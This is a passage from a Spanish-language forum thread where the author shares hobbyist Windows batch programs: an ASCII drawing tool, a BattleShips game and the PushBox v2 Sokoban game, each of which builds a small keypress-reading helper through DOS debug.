set X0Y0=%Cursor%
set CurPos=X0Y0
Goto :Graphic

:Graphic
Call :Clear
echo.
echo. Tablero de %LimX% por %LimY%            Tecla [X] Volver al Menu
echo.
echo. Presione los Numeros del 0 al 9 para introducir un Icono
echo. Presione la tecla Enter para Exportar el Dibujo a Coordenadas
echo.
set /p var="Iconos: "<nul
for /l %%n in (0,1,9) do (set /p var="%%n = !Icons:~%%n,1!  "<nul)
echo.
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
echo.
for /l %%f in (0,1,%LimY%) do (echo. !Lin_%%f!)
keyboard
if "%errorlevel%"=="77" (call :MovX+ "%CurPos%")
if "%errorlevel%"=="75" (call :MovX- "%CurPos%")
if "%errorlevel%"=="80" (call :MovY+ "%CurPos%")
if "%errorlevel%"=="72" (call :MovY- "%CurPos%")
if "%errorlevel%"=="48" (Call :Draw "%CurPos%" 0)
if "%errorlevel%"=="49" (Call :Draw "%CurPos%" 1)
if "%errorlevel%"=="50" (Call :Draw "%CurPos%" 2)
if "%errorlevel%"=="51" (Call :Draw "%CurPos%" 3)
if "%errorlevel%"=="52" (Call :Draw "%CurPos%" 4)
if "%errorlevel%"=="53" (Call :Draw "%CurPos%" 5)
if "%errorlevel%"=="54" (Call :Draw "%CurPos%" 6)
if "%errorlevel%"=="55" (Call :Draw "%CurPos%" 7)
if "%errorlevel%"=="56" (Call :Draw "%CurPos%" 8)
if "%errorlevel%"=="57" (Call :Draw "%CurPos%" 9)
if "%errorlevel%"=="88" (Goto :Menu)
if "%errorlevel%"=="120" (Goto :Menu)
if "%errorlevel%"=="13" (Goto :Export)
Goto :Graphic

:MovX+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%p"=="%LimX%" Goto :Eof
if !%~1!==%Cursor% set %~1=%Last%
set /a MovX=%%p+1
call set Last=%%X!MovX!Y%%q%%
set X!MovX!Y%%q=%Cursor%
set CurPos=X!MovX!Y%%q
)
Goto :Eof

:MovX-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%p"=="%IniX%" Goto :Eof
if !%~1!==%Cursor% set %~1=%Last%
set /a MovX=%%p-1
call set Last=%%X!MovX!Y%%q%%
set X!MovX!Y%%q=%Cursor%
set CurPos=X!MovX!Y%%q
)
Goto :Eof

:MovY+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%q"=="%LimY%" Goto :Eof
if !%~1!==%Cursor% set %~1=%Last%
set /a MovY=%%q+1
call set Last=%%X%%pY!MovY!%%
set X%%pY!MovY!=%Cursor%
set CurPos=X%%pY!MovY!
)
Goto :Eof

:MovY-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%q"=="%IniY%" Goto :Eof
if !%~1!==%Cursor% set %~1=%Last%
set /a MovY=%%q-1
call set Last=%%X%%pY!MovY!%%
set X%%pY!MovY!=%Cursor%
set CurPos=X%%pY!MovY!
)
Goto :Eof

:Draw
Set %~1=!Icons:~%2,1!
Goto :Eof

:Export

echo.
echo Introduzca un Nombre de Archivo
set /p filename=">> "
if not defined filename set filename=BD_%random%
Call :Template "%filename%"
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
if "!X%%aY%%b!"=="%Icons:~0,1%" set Icon0=!Icon0!,X%%aY%%b
if "!X%%aY%%b!"=="%Icons:~1,1%" set Icon1=!Icon1!,X%%aY%%b
if "!X%%aY%%b!"=="%Icons:~2,1%" set Icon2=!Icon2!,X%%aY%%b
if "!X%%aY%%b!"=="%Icons:~3,1%" set Icon3=!Icon3!,X%%aY%%b
if "!X%%aY%%b!"=="%Icons:~4,1%" set Icon4=!Icon4!,X%%aY%%b
if "!X%%aY%%b!"=="%Icons:~5,1%" set Icon5=!Icon5!,X%%aY%%b
if "!X%%aY%%b!"=="%Icons:~6,1%" set Icon6=!Icon6!,X%%aY%%b
if "!X%%aY%%b!"=="%Icons:~7,1%" set Icon7=!Icon7!,X%%aY%%b
if "!X%%aY%%b!"=="%Icons:~8,1%" set Icon8=!Icon8!,X%%aY%%b
if "!X%%aY%%b!"=="%Icons:~9,1%" set Icon9=!Icon9!,X%%aY%%b
))
echo. Coordenadas Generadas
for /l %%n in (0,1,9) do (
if Defined Icon%%n (
echo. "!Icons:~%%n,1!" = !Icon%%n:~1!
echo for %%%%a in ^(!Icon%%n:~1!^) do ^(Set %%%%a=!Icons:~%%n,1!^) >>%filename%.bat
))
endlocal&set filename=%filename%
echo.>>%filename%.bat
echo :Graphic >>%filename%.bat
echo Call :Clear >>%filename%.bat
echo echo. >>%filename%.bat
echo for /l %%%%d in ^(0,1,%%LimY%%^) do ^( >>%filename%.bat
echo for /l %%%%e in ^(0,1,%%LimX%%^) do ^( >>%filename%.bat
echo set Lin_%%%%d=!Lin_%%%%d!!X%%%%eY%%%%d!^)^) >>%filename%.bat
echo for /l %%%%f in (0,1,%%LimY%%) do (echo. !Lin_%%%%f!) >>%filename%.bat
echo echo.>>%filename%.bat
echo pause >>%filename%.bat
echo exit >>%filename%.bat
echo. >>%filename%.bat
echo :Clear >>%filename%.bat
echo cls >>%filename%.bat
echo for /l %%%%m in ^(0,1,%%LimY%%^) do ^(set Lin_%%%%m=^) >>%filename%.bat
echo Goto :Eof >>%filename%.bat
echo.
echo. Archivo "%filename%.bat" Generado Correctamente...
echo.
pause
Goto :Menu

:Template
echo  @echo off >%~1.bat
echo  @title %~1 - Batch Designer >>%~1.bat
echo ::Created with Batch Designer >>%~1.bat
echo ::Coded by SmartGenius >>%~1.bat
echo. >>%~1.bat
echo setlocal enabledelayedexpansion >>%~1.bat
echo. >>%~1.bat
echo :Init >>%~1.bat
echo Set LimX=%LimX% >>%~1.bat
echo Set LimY=%LimY% >>%~1.bat
echo for /l %%%%a in ^(0,1,%%LimX%%^) do ^( >>%~1.bat
echo for /l %%%%b in ^(0,1,%%LimY%%^) do ^( >>%~1.bat
echo set X%%%%aY%%%%b=°^)^) >>%~1.bat
Goto :Eof

:Clear
cls
for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof

:Exit
endlocal
exit /b


:NoKey
cls
echo. Cargando...
call :keyboard
ping -n 2 0.0.0.0 >nul
Goto :Ck

:keyboard
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof


En el programa podran moverse libremente e ir modificando el Dibujo, una vez este listo presionan Enter y este sera exportado al formato de Coordenadas XY en un nuevo archivo BAT listo para usar.



Ejemplos:

GameDemo

Codigo Resultante:
@echo off
@title Game_Demo - Batch Designer
::Created with Batch Designer
::Coded by SmartGenius

setlocal enabledelayedexpansion

:Init
Set LimX=10
Set LimY=10
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b=°))
for %%a in (X1Y1) do (Set %%a=)
for %%a in (X3Y5,X3Y7,X3Y9,X4Y6,X5Y5,X5Y7,X5Y9,X7Y2,X7Y9,X9Y4,X9Y6,X9Y9) do (Set %%a=)
for %%a in (X1Y2,X1Y3,X1Y4,X1Y5,X1Y6,X1Y7,X1Y8,X1Y9,X2Y4,X2Y5,X2Y6,X2Y7,X2Y9,X3Y1,X3Y4,X3Y6,X4Y1,X4Y4,X4Y5,X4Y7,X4Y9,X5Y1,X5Y4,X5Y6,X6Y1,X6Y4,X6Y9,X7Y1,X7Y4,X7Y5,X7Y6,X7Y7,X8Y1,X8Y2,X8Y3,X8Y4,X8Y7,X9Y2,X9Y3,X9Y7,X9Y8) do (Set %%a= )
for %%a in (X3Y2,X4Y2,X5Y2) do (Set %%a=°)
for %%a in (X0Y0,X0Y1,X0Y2,X0Y3,X0Y4,X0Y5,X0Y6,X0Y7,X0Y8,X0Y9,X0Y10,X1Y0,X1Y10,X2Y0,X2Y1,X2Y2,X2Y3,X2Y8,X2Y10,X3Y0,X3Y3,X3Y8,X3Y10,X4Y0,X4Y3,X4Y8,X4Y10,X5Y0,X5Y3,X5Y8,X5Y10,X6Y0,X6Y2,X6Y3,X6Y5,X6Y6,X6Y7,X6Y8,X6Y10,X7Y0,X7Y3,X7Y8,X7Y10,X8Y0,X8Y5,X8Y6,X8Y8,X8Y9,X8Y10,X9Y0,X9Y5,X9Y10,X10Y0,X10Y1,X10Y2,X10Y3,X10Y4,X10Y5,X10Y6,X10Y7,X10Y8,X10Y9,X10Y10) do (Set %%a=Û)
for %%a in (X9Y1) do (Set %%a=þ)

:Graphic
Call :Clear
echo.
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
for /l %%f in (0,1,%LimY%) do (echo. !Lin_%%f!)
echo.
pause
exit

:Clear
cls
for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof


ASCII

Codigo Resultante:
@echo off
@title Scot_Team - Batch Designer
::Created with Batch Designer
::Coded by SmartGenius

setlocal enabledelayedexpansion

:Init
Set LimX=30
Set LimY=8
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b=°))
for %%a in (X1Y0,X1Y1,X1Y2,X1Y3,X1Y4,X2Y0,X2Y4,X3Y0,X3Y4,X4Y0,X4Y1,X4Y2,X4Y3,X4Y4,X5Y0,X5Y4,X6Y0,X6Y2,X6Y4,X7Y0,X7Y1,X7Y2,X7Y3,X7Y4,X8Y0,X8Y4,X8Y5,X8Y6,X8Y7,X8Y8,X9Y0,X9Y4,X9Y6,X9Y7,X9Y8,X10Y0,X10Y1,X10Y2,X10Y3,X10Y4,X10Y8,X11Y0,X11Y2,X11Y3,X11Y4,X11Y6,X11Y7,X11Y8,X12Y0,X12Y4,X12Y5,X12Y6,X12Y7,X12Y8,X13Y0,X13Y2,X13Y3,X13Y4,X13Y8,X14Y0,X14Y1,X14Y2,X14Y3,X14Y4,X14Y8,X15Y4,X15Y5,X15Y6,X15Y7,X15Y8,X16Y4,X16Y8,X17Y4,X17Y7,X17Y8,X18Y4,X18Y8,X19Y4,X19Y5,X19Y6,X19Y7,X19Y8,X20Y4,X20Y8,X21Y4,X21Y6,X21Y7,X21Y8,X22Y4,X22Y6,X22Y7,X22Y8,X23Y4,X23Y8,X24Y4,X24Y5,X24Y6,X24Y7,X24Y8) do (Set %%a=±)
for %%a in (X5Y2,X8Y2,X9Y2,X10Y6,X10Y7,X12Y2,X12Y3,X13Y5,X13Y6,X13Y7,X16Y5,X16Y6,X16Y7,X18Y5,X18Y6,X18Y7,X20Y5,X20Y6,X20Y7,X21Y5,X22Y5,X23Y5,X23Y6,X23Y7) do (Set %%a=º)
for %%a in (X2Y3,X3Y1,X6Y1,X6Y3,X9Y5,X10Y5,X11Y1,X11Y5,X12Y1,X13Y1,X14Y5,X14Y6,X14Y7,X17Y5,X17Y6) do (Set %%a=Í)
for %%a in (X2Y1,X5Y1,X8Y1) do (Set %%a=É)
for %%a in (X3Y2,X9Y1) do (Set %%a=»)
for %%a in (X2Y2,X5Y3,X8Y3) do (Set %%a=È)
for %%a in (X3Y3,X9Y3) do (Set %%a=¼)

:Graphic
Call :Clear
echo.
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
for /l %%f in (0,1,%LimY%) do (echo. !Lin_%%f!)
echo.
pause
exit

:Clear
cls
for /l %%m in (0,1,%LimY%) do (set Lin_%%m=)
Goto :Eof




Espero que les sea de gran utilidad, y que les ayude a entender el tema, ya les traere algo para lo de las animaciones. ;D

Saludos.
#11
Sip, aqui de nuevo yo...con otro juego Batch  :xD

BattleShips v 1


Descarga:http://one.xthost.info/smartv2/BatchGames/BattleShips_bySmartGenius.zip

Creo que el juego no necesita explicacion porque la gran mayoria conocera la mecanica del mismo, ir descubriendo la posicion del enemigo antes de que descubarn la tuya.

Los movimientos se realizan con las flechas de direccion y se confirma una coordenada con la tecla Enter.

@echo off
@title BattleShip
@::Another Batch Game
@::Coded by ::SmartGenius::
setlocal enabledelayedexpansion

if not exist "keyboard.exe" (Goto :NoKey)

Call :Logo

:Menu
@cls
@::BattleShip v 1
@mode con cols=21 lines=20
set colors=a123b567c9
echo.
echo. BattleShips v 1
echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo. ÚÄÄ¿ ÚÄÄÄÄÄÄ¿
echo. ³1.³ ³Jugar ³
echo. ÀÄÄÙ ÀÄÄÄÄÄÄÙ
echo. ÚÄÄ¿ ÚÄÄÄÄÄÄ¿
echo. ³2.³ ³Salir ³
echo. ÀÄÄÙ ÀÄÄÄÄÄÄÙ
keyboard
if "%errorlevel%"=="49" (Goto :InGame)
if "%errorlevel%"=="50" (msg * BattleShip v 1 by SmartGenius&exit)
if "%errorlevel%"=="32" (color 0!colors:~%random:~-1%,1!)
Goto :Menu

:InGame
Call :Clear
Call :Load1
cls
echo.
echo. Barcos en Posicion
echo. Cargando Juego...
ping -n 3 0.0.0.0 >nul
Call :Load2
Goto :Menu

::Tablero posicionador
:Load1
set LimX=6
set LimY=6
set IniX=0
set IniY=0
set MovX=0
set MovY=0
set Ships=5
set Water=²
set Blank=X

:init1
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b=°
))
set X0Y0=
set Last=°
set Curpos=X0Y0
Goto :First

:Gp1
Call :Clear
:First
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!³!X%%eY%%d!))
echo.
echo. Posiciona tus
echo. Barcos...
echo.
echo.   ÚÄÂÄÂÄÂÄÂÄÂÄÂÄ¿
for /l %%f in (0,1,%LimY%) do (
echo.   !Lin_%%f!³
echo.   ÃÄÅÄÅÄÅÄÅÄÅÄÅÄ´)
echo.   ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÙ
if "%Ships%"=="0" Goto :Eof
keyboard
if "%errorlevel%"=="77" (call :MovAX+ "%CurPos%")
if "%errorlevel%"=="75" (call :MovAX- "%CurPos%")
if "%errorlevel%"=="80" (call :MovAY+ "%CurPos%")
if "%errorlevel%"=="72" (call :MovAY- "%CurPos%")
if "%errorlevel%"=="13" (call :PosShip "%CurPos%")
if "%errorlevel%"=="88" (Goto :Menu)
if "%errorlevel%"=="120" (Goto :Menu)
Goto :Gp1
::Fin Tablero Posicionador

::Tablero de Batalla
:Load2
@mode con cols=42 lines=20
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set MX%%aY%%b=
))
Call :GenPC

:init2
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set PX%%aY%%b=!X%%aY%%b!
set X%%aY%%b=°))
set Player=5
set X0Y0=
set Last=°
set Curpos=X0Y0
Goto :Gp2

:Gp2
title BattleShip v 1 by SmartGenius
Call :Clear
:Second
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!³!PX%%eY%%d!
set Lin2_%%d=!Lin2_%%d!³!X%%eY%%d!))
echo.
echo.    Jugador: %Player%            PC: %PC%
echo.     A B C D E F G       A B C D E F G
echo.    ÚÄÂÄÂÄÂÄÂÄÂÄÂÄ¿ :   ÚÄÂÄÂÄÂÄÂÄÂÄÂÄ¿
for /l %%f in (0,1,%LimY%) do (
echo. %%f  !Lin_%%f!³ : %%f !Lin2_%%f!³
echo.    ÃÄÅÄÅÄÅÄÅÄÅÄÅÄ´ :   ÃÄÅÄÅÄÅÄÅÄÅÄÅÄ´)
echo.    ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÙ :   ÀÄÁÄÁÄÁÄÁÄÁÄÁÄÙ
if "%PC%"=="0" Goto :Win
if "%Player%"=="0" Goto :Lose
keyboard
if "%errorlevel%"=="77" (call :MovAX+ "%CurPos%")
if "%errorlevel%"=="75" (call :MovAX- "%CurPos%")
if "%errorlevel%"=="80" (call :MovAY+ "%CurPos%")
if "%errorlevel%"=="72" (call :MovAY- "%CurPos%")
if "%errorlevel%"=="13" (
call :Player "%CurPos%"
Call :MovPC
)
if "%errorlevel%"=="88" (Goto :Menu)
if "%errorlevel%"=="120" (Goto :Menu)
Goto :Gp2
::Fin Tablero de Batalla

:MovAX+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%p"=="%LimX%" Goto :Eof
if !%~1!== set %~1=%Last%
set /a MovX=%%p+1
call set Last=%%X!MovX!Y%%q%%
set X!MovX!Y%%q=
set CurPos=X!MovX!Y%%q
)
Goto :Eof

:MovAX-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%p"=="%IniX%" Goto :Eof
if !%~1!== set %~1=%Last%
set /a MovX=%%p-1
call set Last=%%X!MovX!Y%%q%%
set X!MovX!Y%%q=
set CurPos=X!MovX!Y%%q
)
Goto :Eof

:MovAY+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%q"=="%LimY%" Goto :Eof
if !%~1!== set %~1=%Last%
set /a MovY=%%q+1
call set Last=%%X%%pY!MovY!%%
set X%%pY!MovY!=
set CurPos=X%%pY!MovY!
)
Goto :Eof

:MovAY-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
if "%%q"=="%IniY%" Goto :Eof
if !%~1!== set %~1=%Last%
set /a MovY=%%q-1
call set Last=%%X%%pY!MovY!%%
set X%%pY!MovY!=
set CurPos=X%%pY!MovY!
)
Goto :Eof

:GenPC
set PC=5
set R1=%random:~-1%
set R2=%random:~-1%
if not "%R1%" GTR "%LimX%" (
if not "%R2%" GTR "%LimY%" (
set MX%R1%Y%R2%=Û
set /a var+=1
))
if "%var%"=="%PC%" Goto :Eof
Goto :GenPC

:MovPC
set R1=%random:~-1%
set R2=%random:~-1%
if not "%R1%" GTR "%LimX%" (
if not "%R2%" GTR "%LimY%" (
call set Tar=!PX%R1%Y%R2%!
if "!Tar!"=="X" (
Goto :MovPC
)
if "!Tar!"=="" (
Goto :MovPC
)
if "!Tar!"=="Û" (
set PX%R1%Y%R2%=
set /a Player-=1
Goto :Eof
) else (
set PX%R1%Y%R2%=X
Goto :Eof
)
))
Goto :MovPC

:PosShip
if not "%Last%"=="Û" (
set %~1=Û
set /a Ships-=1)
Goto :Eof

:Player
if defined M%~1 (
set %~1=Û
set /a PC-=1
Goto :Eof
)
set %~1=%Blank%
Goto :Eof

:Lose
msg * Perdiste !
ping -n 3 0.0.0.0 >nul
Goto :Menu

:Win
msg * Ganaste !
ping -n 3 0.0.0.0 >nul
Goto :Menu

:Clear
for /l %%m in (0,1,%LimY%) do (
set Lin_%%m=
set Lin2_%%m=
)
Goto :Eof

:Logo
@mode con cols=40 lines=15
@title BattleShips v 1 by SmartGenius
echo.
echo.                 _==^|
echo.   Battle   _==^|   )__)  ^|  Ships
echo.              )_)  )___) ))
echo.             )___) )____))_)
echo.        _    )____)_____))__)\
echo.         \---__^|____/^|___^|___-\\---
echo. ~~~~~~~~~\   oo oo oo oo     /~~~~~~~~
echo.   ~~~~~~ ~~~~~~~~~~~~~~~~~~~~~
echo.     ~~~~      ~~~~     ~~~~ ~~ ~~
echo.          ~~~~~        ~~~~~
echo.
echo.         SmartGenius, Corp. 2009
pause >nul
ping -n 3 0.0.0.0 >nul
Goto :Eof

:NoKey
cls
echo.
echo  Uno de los archivos necesarios para el
echo  funcionamiento de este Script no se
echo  encuentra.
echo.
echo  A Continuacion sera creado...
call :keyboard
ping -n 2 0.0.0.0 >nul
Goto :Menu

:keyboard
(
echo n keyboard.dat
echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo rcx
echo 002E
echo w0
echo q
echo.
)>keyboard.dat
type keyboard.dat|debug>NUL 2>&1
del /f/q/a "keyboard.exe">NUL 2>&1
ren keyboard.dat "keyboard.exe"
Goto :Eof


Espero sea de su agrado..cualquier duda o comentario por favor hacerlo... !!

Saludos.  =D
#12
PushBox v 2 Reloaded - by SmartGenius

Segunda version de mi popular juego PushBox, hecho en batch !


Link: http://one.xthost.info/smartv2/BatchGames/PushBoxReloaded_bySmartGenius.zip

Cuenta con mejoras a la interfaz, mejora de la interactividad con el usuario y correcion de algunos errores previos...



Controles:

Arriba:     Flecha Arriba
Abajo:     Flecha Abajo
Derecha:  Flecha Derecha
Izquierda: Flecha Izquierda
Guardar:   Tecla "S"
Volver al Menu:        Tecla "X"




Entre las nuevas funcionalidades esta la de poder guardar el progreso
tan solo con presionar la teclas "S" , lo que devolvera al menu.

Cada "Perfil" de Nick puede guardar sus propios records y progresos,
cuando inicie el juego se le preguntara por su nick, lo que le permitira
usar la opcion de escoger nivel y seguir donde ibas...xD

Tambien en el menu principal pueden presionar la barra espaciadora
y cambiara el color de la interfaz, para los que no les gusta el que
viene por defecto !

El Juego cuenta con 5 Nuevos Niveles, y la posibilidad de jugar
los niveles de la version anterior, solo ejecuten el archivo de
levels y se hara el cambio automaticamente...

Codigo Principal (PushBox2.bat)
@echo off
@title PushBox v 2
@mode con cols=22 lines=20
@::PushBox Reloaded
@::Another Batch Game
@::Coded by SmartGenius
setlocal enabledelayedexpansion

if not exist "keyboard.exe" (Goto :NoKey)

:load
call :Logo
call :Player
call Levels NUM

:Menu
if not defined L set L=0
set EOG=False
set colors=a123b567c9
cls
echo. ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo. º PushBox Reloaded º
echo. ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
echo.
echo. Nick: %nick%
echo.
echo. Opciopnes ^>^>
echo.
echo. ÛßßÛßßßßßßßßßßßßßßßÛ
echo. Û1.Û Jugar PushBox Û
echo. ÛßßÛßßßßßßßßßßßßßßßÛ
echo. Û2.Û Escoger Nivel Û
echo. ÛßßÛßßßßßßßßßßßßßßßÛ
echo. Û3.Û Cambiar Nick  Û
echo. ÛßßÛßßßßßßßßßßßßßßßÛ
echo. Û4.Û Salir         Û
echo. ßßßßßßßßßßßßßßßßßßßß
echo.
keyboard
if "%errorlevel%"=="49" (Goto :Load)
if "%errorlevel%"=="50" (Goto :Choose)
if "%errorlevel%"=="51" (call :Player)
if "%errorlevel%"=="52" (Goto :End)
if "%errorlevel%"=="32" (color 0!colors:~%random:~-1%,1!)
if "%errorlevel%"=="167" (Call :Console)
Goto :Menu

:Choose
call :CheckML >nul
cls
echo.
echo. Nivel a Jugar ?
echo. De 1 a %MaxLevel%
echo.
set /p lev=">> "
if not defined lev (set lev=1)
if %lev% GTR %MaxLevel% (
echo.
echo. No trates de hacer
echo. Cheat, aun no has
echo. llegado a ese Nivel.
echo.
ping -n 3 0.0.0.0 >nul
Goto :Menu
)
set /a L=%lev%-1

:Load
set LimX=13
set LimY=11

:init
for /l %%a in (0,1,%LimX%) do (
for /l %%b in (0,1,%LimY%) do (
set X%%aY%%b=°))
set Player=
set Bound=Û
set Box=*
set Push=o

:Levels
if not defined L set L=0
set /a L=%L%+1
Call Levels Level%L%
Call :Graphic
set P%L%=%Movs%
if "%EOG%"=="True" Goto :Menu
echo.%L%>"Records_%nick%.txt:MaxLevel.ini"
if "%L%"=="%NLevels%" Goto :Win
ping -n 1 0.0.0.0 >nul
Goto :Init

:Graphic
Call :Clear
:First
cls
for /l %%d in (0,1,%LimY%) do (
for /l %%e in (0,1,%LimX%) do (
set Lin_%%d=!Lin_%%d!!X%%eY%%d!))
echo.
echo. PushBox v2 by Smart
echo.
echo.  Player:%nick%
echo.  Nivel:%L%   Movs:%Movs%
echo.   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
for /l %%f in (0,1,%LimY%) do (echo.   º!Lin_%%f!º)
echo.   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
keyboard
if "%errorlevel%"=="77" (call :MovX+ "%CurPos%")
if "%errorlevel%"=="75" (call :MovX- "%CurPos%")
if "%errorlevel%"=="80" (call :MovY+ "%CurPos%")
if "%errorlevel%"=="72" (call :MovY- "%CurPos%")
if "%errorlevel%"=="88" (set EOG=True&Goto :Eof)
if "%errorlevel%"=="120" (set EOG=True&Goto :Eof)
if "%errorlevel%"=="83" (Goto :Save)
if "%errorlevel%"=="115" (Goto :Save)
if "%errorlevel%"=="76" (Goto :Eof)
if "%errorlevel%"=="108" (Goto :Eof)
Call Levels Check%L%
if "%NXL%"=="True" (Goto :Eof)
Goto :Graphic

::Logica de Movimiento en el Plano
::Coded by :: SmartGenius ::

:MovX+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovX=%%p+1
set /a MovXX=%%p+2
call set NMovX=%%X!MovX!Y%%q%%
call set NMovXX=%%X!MovXX!Y%%q%%
if "!NMovX!"=="%Bound%" (Goto :Eof)
if "!NMovX!"=="%Push%" (
if !%~1!==%Player% set %~1=
set X!MovX!Y%%q=%Player%
set CurPos=X!MovX!Y%%q)
if "!NMovX!"==" " (
if !%~1!==%Player% set %~1=
set X!MovX!Y%%q=%Player%
set CurPos=X!MovX!Y%%q)
if "!NMovX!"=="%Box%" (
if "!NMovXX!"=="%Bound%" (Goto :Eof)
if "!NMovXX!"=="%Box%" (Goto :Eof)
if !%~1!==%Player% set %~1=
set X!MovX!Y%%q=%Player%
set X!MovXX!Y%%q=%Box%
set CurPos=X!MovX!Y%%q))
set /a Movs+=1
for %%u in (%Pushes%) do (if "!%%u!"==" " (set %%u=%Push%))
Goto :Eof

:MovX-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovX=%%p-1
set /a MovXX=%%p-2
call set NMovX=%%X!MovX!Y%%q%%
call set NMovXX=%%X!MovXX!Y%%q%%
if "!NMovX!"=="%Bound%" (Goto :Eof)
if "!NMovX!"=="%Push%" (
if !%~1!==%Player% set %~1=
set X!MovX!Y%%q=%Player%
set CurPos=X!MovX!Y%%q)
if "!NMovX!"==" " (
if !%~1!==%Player% set %~1=
set X!MovX!Y%%q=%Player%
set CurPos=X!MovX!Y%%q)
if "!NMovX!"=="%Box%" (
if "!NMovXX!"=="%Bound%" (Goto :Eof)
if "!NMovXX!"=="%Box%" (Goto :Eof)
if !%~1!==%Player% set %~1=
set X!MovX!Y%%q=%Player%
set X!MovXX!Y%%q=%Box%
set CurPos=X!MovX!Y%%q))
set /a Movs+=1
for %%u in (%Pushes%) do (if "!%%u!"==" " (set %%u=%Push%))
Goto :Eof

:MovY+
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovY=%%q+1
set /a MovYY=%%q+2
call set NMovY=%%X%%pY!MovY!%%
call set NMovYY=%%X%%pY!MovYY!%%
if "!NMovY!"=="%Bound%" (Goto :Eof)
if "!NMovY!"=="%Push%" (
if !%~1!==%Player% set %~1=
set X%%pY!MovY!=%Player%
set CurPos=X%%pY!MovY!)
if "!NMovY!"==" " (
if !%~1!==%Player% set %~1=
set X%%pY!MovY!=%Player%
set CurPos=X%%pY!MovY!)
if "!NMovY!"=="%Box%" (
if "!NMovYY!"=="%Bound%" (Goto :Eof)
if "!NMovYY!"=="%Box%" (Goto :Eof)
if !%~1!==%Player% set %~1=
set X%%pY!MovY!=%Player%
set X%%pY!MovYY!=%Box%
set CurPos=X%%pY!MovY!))
set /a Movs+=1
for %%u in (%Pushes%) do (if "!%%u!"==" " (set %%u=%Push%))
Goto :Eof

:MovY-
for /f "tokens=1,2 delims=X,Y" %%p in ("%~1") do (
set /a MovY=%%q-1
set /a MovYY=%%q-2
call set NMovY=%%X%%pY!MovY!%%
call set NMovYY=%%X%%pY!MovYY!%%
if "!NMovY!"=="%Bound%" (Goto :Eof)
if "!NMovY!"=="%Push%" (
if !%~1!==%Player% set %~1=
set X%%pY!MovY!=%Player%
set CurPos=X%%pY!MovY!)
if "!NMovY!"==" " (
if !%~1!==%Player% set %~1=
set X%%pY!MovY!=%Player%
set CurPos=X%%pY!MovY!)
if "!NMovY!"=="%Box%" (
if "!NMovYY!"=="%Bound%" (Goto :Eof)
if "!NMovYY!"=="%Box%" (Goto :Eof)
if !%~1!==%Player% set %~1=
set X%%pY!MovY!=%Player%
set X%%pY!MovYY!=%Box%
set CurPos=X%%pY!MovY!))
set /a Movs+=1
for %%u in (%Pushes%) do (if "!%%u!"==" " (set %%u=%Push%))
Goto :Eof

:Save
cls
if not exist Records_%nick%.txt (
echo. Records PushBox 2 >>Records_%nick%.txt
echo. Jugador: %nick% >>Records_%nick%.txt)
for /l %%v in (1,1,%NLevels%) do (
if defined P%%v (
echo  Nivel: %%v Movs: !P%%v! >>Records_%nick%.txt))
echo.%L%>"Records_%nick%.txt:MaxLevel.ini"
echo.
echo.   PushBox v 2
echo.
echo.  Juego Guardado
echo.
ping -n 2 0.0.0.0 >nul
Goto :Menu

:Console
cls
echo.
echo. Console
echo.
echo. Enter Number...
set /p tar=">> "
if not defined tar Goto :Eof
set /a L=(%tar%^>^>5)-1
Goto :Eof

:CheckML
for /f "tokens=*" %%a in (Records_%nick%.txt:Maxlevel.ini) do (
if "%%a"=="" (
set MaxLevel=1
) else (
set MaxLevel=%%a
))
if not defined MaxLevel set MaxLevel=1
Goto :Eof

:Clear
